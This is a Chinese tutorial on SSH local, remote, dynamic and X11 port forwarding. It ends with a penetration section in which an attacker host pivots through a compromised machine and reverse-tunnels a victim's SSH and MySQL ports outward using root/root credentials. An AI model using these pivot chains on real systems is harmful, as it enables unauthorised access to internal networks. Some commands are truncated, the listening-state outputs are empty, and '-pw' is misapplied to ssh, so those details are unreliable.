SSH端口轉發情景模擬
SSH會自動加密和解密所有SSH客戶端與服務端之間的網絡數據。這一過程有時也被叫做“隧道”(tunneling),這是因為SSH為其他TCP鏈接提供了一個安全的通道來進行傳輸而得名。例如,Telnet,SMTP,LDAP這些TCP應用均能夠從中得益,避免了用戶名,密碼以及隱私信息的明文傳輸。而與此同時,如果您工作環境中的防火墻限制了一些網絡端口的使用,但是允許SSH的連接,那么也能夠通過將 TCP 端口轉發來使用 SSH 進行通訊。
(一)概述
SSH端口轉發能夠將其他TCP端口的網絡數據通過SSH鏈接來轉發,并且自動提供了相應的加密及解密服務。
(二)功能
1、加密SSH Client端至SSH Server端之間的通訊數據。
2、突破防火墻的限制完成一些之前無法建立的TCP連接。
(三) 方式
共有四種方式,分別為本地轉發,遠程轉發,動態轉發,X協議轉發
1. 本地端口轉發
SSH連接和應用的連接這兩個連接的方向一致
ssh -L [
將本地機(客戶機)的某個端口轉發到遠端指定機器的指定端口;本地端口轉發是在localhost上監聽一個端口,所有訪問這個端口的數據都會通過ssh 隧道傳輸到遠端的對應端口。
如下:
- localhost: ssh -L 7001:localhost:7070 sisca@216.194.70.6
登陸前本地主機端口監聽狀態:
登陸后本地主機端口監聽狀態:
登陸后遠程主機不會監聽端口。
小結:本地端口轉發的時候,本地的ssh在監聽7001端口。
2. 遠程端口轉發
SSH連接和應用的連接這兩個連接的方向相反
ssh -R [
將遠程主機(服務器)的某個端口轉發到本地端指定機器的指定端口;遠程端口轉發是在遠程主機上監聽一個端口,所有訪問遠程服務器的指定端口的數據都會通過ssh 隧道傳輸到本地的對應端口。
如下:
- localhost: ssh -R 7001:localhost:7070 sisca@216.194.70.6
登陸前本地主機端口監聽狀態:
登陸后本地主機端口監聽狀態:
登陸后遠程主機端口監聽狀態:
小結:使用遠程端口轉發時,本地主機的端口監聽并沒有發生變化,相反遠程主機卻開始監聽我們指定的7001端口。
3. 動態端口轉發
把遠端ssh服務器當作了一個安全的代理服務器
ssh -D [
建立一個動態的SOCKS4/5的代理通道,緊接著的是本地監聽的端口號;動態端口轉發是建立一個ssh加密的SOCKS4/5代理通道,任何支持SOCKS4/5協議的程序都可以使用這個加密的通道來進行代理訪問,現在這種方法最常用的地方就是翻墻。
如下:
- localhost: ssh -D 7070 sisca@216.194.70.6
登陸前本地主機端口監聽狀態:
登陸后本地主機端口監聽狀態:
小結:使用動態端口轉發時,本地主機的ssh進程在監聽指定的7070端口。
4. X協議轉發
把遠端ssh服務器當作了一個安全的代理服務器。
- ssh -X <SSH hostname>
如,我們可能會經常會遠程登錄到 Linux/Unix/Solaris/HP等機器上去做一些開發或者維護,也經常需要以GUI方式運行一些程序,比如要求圖形化界面來安裝 DB2/WebSphere 等等。這時候通常有兩種選擇來實現:VNC或者X窗口,讓我們來看看后者。一個比較常見的場景是,我們的本地機器是Windows操作系統,這時可以選擇開源的XMing來作為我們的XServer,而SSH Client則可以任意選擇了,例如PuTTY,Cygwin均可以配置訪問SSH的同時建立X轉發。
SSH端口轉發除上述四個代表不同工作方式的參數外還有一些附屬參數:
- -C:壓縮數據傳輸
- -N:不執行腳本或命令,通常與-f連用
- -f:后臺認證用戶/密碼,通常與-N連用,不用登陸到遠程主機,如果通過其他程序控制隧道連接,應當避免將SSH客戶端放到后臺執行,也就是去掉-f參數。
- -g:在-L/-D/-R參數中,允許遠程主機連接到建立的轉發端口,如果不加這個參數,只允許本地主機建立連接。
四、場景模擬
場景一:將本機的80端口轉發到174.139.9.66的8080端口
- ssh -C –f –g –N –L 80:174.139.9.66:8080master@174.139.9.66
接著會提示輸入master的密碼,或使用-pw參數完成
場景二:一次同時映射多個端口
Ssh -L8888:www.host.com:80 -L 110:mail.host.com:110 -L 25:mail.host.com:25 user@host,同時把服務器(www.host.com)的80,110,25端口映射到本機的8888,110和25端口
場景三:A內網主機能放問公網的123.123.123.123的22端口,但是不能訪問公網234.234.234.234的21端口,但是這兩臺公網主機能互訪。
A主機:ssh -CNfg –L 2121:234.234.234.234:21–pw abc123 user@123.123.123.123 ;然后A主機:ftp://localhost:2121
前提是獲取123.123.123.123的22端口賬號口令(普通和root口令均可以,區別是轉發的端口問題)
場景四:A內網主機能放問公網的123.123.123.123的22端口,但是公網B主機123.123.123.123不能訪問內網的A主機。
A主機:ssh -CNfg –R 2222:127.0.0.1:22–pw abc123 user@123.123.123.123;B主機:ssh 127.0.0.1 –p 2222
前提是B主機開放22端口,賬號口令(自建ssh服務器,或用肉雞),灰鴿子木馬用的也是反向鏈接,Destination (LAN_ip) <- |NAT| <- Source (home_ip)
場景五:A內網主機只能訪問公網的123.123.123.123,但是A如果想訪問公網的很多資源。
A主機:ssh -CNf –D 1080 –pwabc123 user@123.123.123.123;A主機瀏覽器socks 5 proxy設置為localhost:8888,所有之前無法訪問的網站現在都可以訪問。
場景六:A內網主機開了http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服務,無合法ip 地址;外網主機B(123.123.123.123),開了sshd 服務,有合法 ip ;我們的目的是讓 internet 上的任何主機能訪問A上的各種服務。
B主機:sshd服務端做點小小的設置:vi /etc/ssh/sshd.config加入 GatewayPorts yes,然后重啟sshd服務:/etc /init.d/ssh restart 或 /etc/init.d/sshd restart或使用-g參數
A主機:ssh -CNf –R21:127.0.0.1:21 –pw abc123 user@123.123.123.123
公網其它主機:ftp://123.123.123.123:21
場景七:A內網主機開了http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服務,無合法ip 地址;外網主機 B(123.123.123.123) 開了sshd 服務,有合法 ip ;我們的目的是讓 internet 上的任何主機能訪問 A 上的各種服務。
A主機:ssh -CN –R1234:127.0.0.1:80 –pw abc123 user@123.123.123.123
B主機:socattcp-listen:80,reuseaddr,fork tcp:localhost:1234
公網其它主機:http://123.123.123.123:80,此時就是訪問內網主機的80端口
場景八:PuTTY自帶的plink.exe實現ssh代理
- PLINK.EXE-C -N -D 127.0.0.1:7000 est@202.115.22.x[:21314]
- ssh -CfNg -D127.0.0.1:7000 est@202.115.22.x:21314
五、滲透情景模擬
- A為攻擊主機,開啟的ssh服務
- B為web/應用/數據庫服務器,開啟22/80/3306端口
- D為肉雞,開啟22端口
情景一:
方法一:socks5代理
A: ssh –D 8080 root@B_IP –pw root
方法二:本地端口轉發(B的3306端口)
A:ssh –L 3306:B_IP:3306 –pw root root@B_IP
方法三:遠程端口轉發
B: ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
情景二:
方法一:socks5代理
A:ssh -D 8080 root@A_IP –pw root
B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP
方法二:遠程端口轉發(將3306端口轉發)
B:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
情景三:
方法一:socks5代理
A:ssh -D 8080 root@A_IP -pw root
B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP
方法二:遠程端口轉發(將3306端口轉發)
B:ssh -R 3306:C_IP:3306 -pw root root@A_IP
法三:
B:ssh –L 1234:C_IP:3306 –pw root root@C_IP
B:ssh –R 3306:127.0.0.1:1234 –pw root root@A_IP
情景四:
(一)
22端口轉發
- A: ssh –L 2222:B_IP:22 –pw root root@D_IP
3306端口轉發
- D: ssh –L 3306:B_IP:3306 –pw root root@B_IP
- A: ssh -L 3306:D_IP:3306–pw root root@D_IP
(二)
22端口轉發
- B:ssh –R 2222:127.0.0.1:22 –pw root root@D_IP
- A:ssh –L 2222:D_IP:2222 –pw root root@D_IP
3306端口轉發
- B: ssh –L 3306:127.0.0.1:3306 –pw root root@D_IP
- A: ssh -L 3306:D_IP:3306–pw root root@D_IP
(三)
22端口轉發
- B:ssh –R 2222:127.0.0.1:22 –pw root root@D_IP
- D:ssh –R 2222:127.0.0.1:2222 –pw root root@A_IP
3306端口轉發
- B: ssh –R 3306:127.0.0.1:3306 –pw root root@D_IP
- D: ssh -R3306:127.0.0.1:3306 –pw root root@A_IP
(四)
22端口轉發
- D: ssh –L 2222:B_IP:22 –pw root root@B_IP
- D: ssh –R 2222:127.0.0.1:2222 –pw root root@A_IP
3306端口轉發
- D: ssh –L 3306:B_IP:3306 –pw root root@B_IP
- D: ssh -R3306:127.0.0.1:3306 –pw root root@A_IP
情景五:
(一)
將C的3306端口轉發出來
- D:ssh –L 3306:C_IP:3306 –pw root root@B_IP
- A:ssh –L 3306:D_IP:3306 –pw root root@D_IP
(二)
將C的3306端口轉發出來
- B:ssh –R 3306:C_IP:3306 –pw root root@D_IP
- A:ssh –L 3306:D_IP:3306 –pw root root@D_IP
(三)
將C的3306端口轉發出來
- B:ssh –R 3306:C_IP:3306 –pw root root@D_IP
- D:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
(四)
將C的3306端口轉發出來
- D:ssh –L 3306:C_IP:3306 –pw root root@B_IP
- D:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
通過將TCP連接轉發到SSH通道上以解決數據加密以及突破防火墻的種種限制。對一些已知端口號的應用,例如Telnet/LDAP/SMTP,我們可以使用本地端口轉發或者遠程端口轉發來達到目的。動態端口轉發則可以實現SOCKS代理從而加密以及突破防火墻對Web瀏覽的限制。當然,端口轉發還有很多好用的工具供大家選擇。本文參考了網上之前的文章,并加入了自己的理解,感興趣的話可以搞個環境實驗下,如有問題,希望各位批評指正。